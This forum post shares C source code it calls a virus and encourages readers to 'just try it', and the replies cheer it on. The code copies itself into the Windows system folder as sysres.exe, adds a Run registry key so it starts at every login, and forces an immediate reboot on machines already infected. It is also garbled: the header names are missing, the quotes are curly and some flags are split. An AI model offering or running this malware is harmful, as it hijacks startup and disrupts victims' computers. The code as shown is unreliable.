Programming Logics FORUMS

How virus affect and create???
HI Everyone .....
I know how to remove thread or virus from our local host machine....
but I know how it will affect our machine....
I know how virus has been created by any user

CODE FOR GENERATE VIRUS
Just grape this code and take more information on virus !!!!!

Code:

#include
#include
#include
int found,drive_no;char buff[128];
void findroot()
{
    int done;
    struct ffblk ffblk; //File block structure
    done=findfirst(”C:\\windows\\system”,&ffblk,FA_DIR EC); //to determine the root drive
    if(done==0)
    {
        done=findfirst(”C:\\windows\\system\\sysres.exe”,& ffblk,0); //to determine whether the virus is already installed or not
        if(done==0)
        {
            found=1; //means that the system is already infected
            return;
        }
        drive_no=1;
        return;
    }
    done=findfirst(”D:\\windows\\system”,&ffblk,FA_DIR EC);
    if(done==0)
    {
        done=findfirst(”D:\\windows\\system\\sysres.exe”,& ffblk,0);
        if
        (done==0)
        {
            found=1;return;
        }
        drive_no=2;
        return;
    }
    done=findfirst(”E:\\windows\\system”,&ffblk,FA_DIR EC);
    if(done==0)
    {
        done=findfirst(”E:\\windows\\system\\sysres.exe”,& ffblk,0);
        if(done==0)
        {
            found=1;
            return;
        }
        drive_no=3;
        return;
    }
    done=findfirst(”F:\\windows\\system”,&ffblk,FA_DIR EC);
    if(done==0)
    {
        done=findfirst(”F:\\windows\\system\\sysres.exe”,& ffblk,0);
        if(done==0)
        {
            found=1;
            return;
        }
        drive_no=4;
        return;
    }
    else
    exit(0);
}
void main()
{
    FILE *self,*target;
    findroot();
    if(found==0) //if the system is not already infected
    {
        self=fopen(_argv[0],”rb”); //The virus file open’s itself
        switch(drive_no)
        {
            case 1:
                target=fopen(”C:\\windows\\system\\sysres.exe”,”wb ”); //to place a copy of itself in a remote place
                system(”REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
                CurrentVersion\\Run \/v sres \/t REG_SZ \/d
                C:\\windows\\system\\ sysres.exe”); //put this file to registry for starup
            break;
            case 2:
                target=fopen(”D:\\windows\\system\\sysres.exe”,”wb ”);
                system(”REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
                CurrentVersion\\Run \/v sres \/t REG_SZ \/d
                D:\\windows\\system\\sysres.exe”);
            break;
            case 3:
                target=fopen(”E:\\windows\\system\\sysres.exe”,”wb ”);
                system(”REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
                CurrentVersion\\Run \/v sres \/t REG_SZ \/d
                E:\\windows\\system\\sysres.exe”);
            break;
            case 4:
                target=fopen(”F:\\windows\\system\\sysres.exe”,”wb ”);
                system(”REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
                CurrentVersion\\Run \/v sres \/t REG_SZ \/d
                F:\\windows\\system\\sysres.exe”);
            break;
            default:
            exit(0);
        }
        while(fread(buff,1,1,self)>0)
        fwrite(buff,1,1,target);
        fcloseall();
    }
    else
        system(”shutdown -r -t 0″); //if the system is already infected then just give a command to restart
}

Hay Friends Just try it !!!

Thank You

wow thanks , its awesome

wow great sharing ....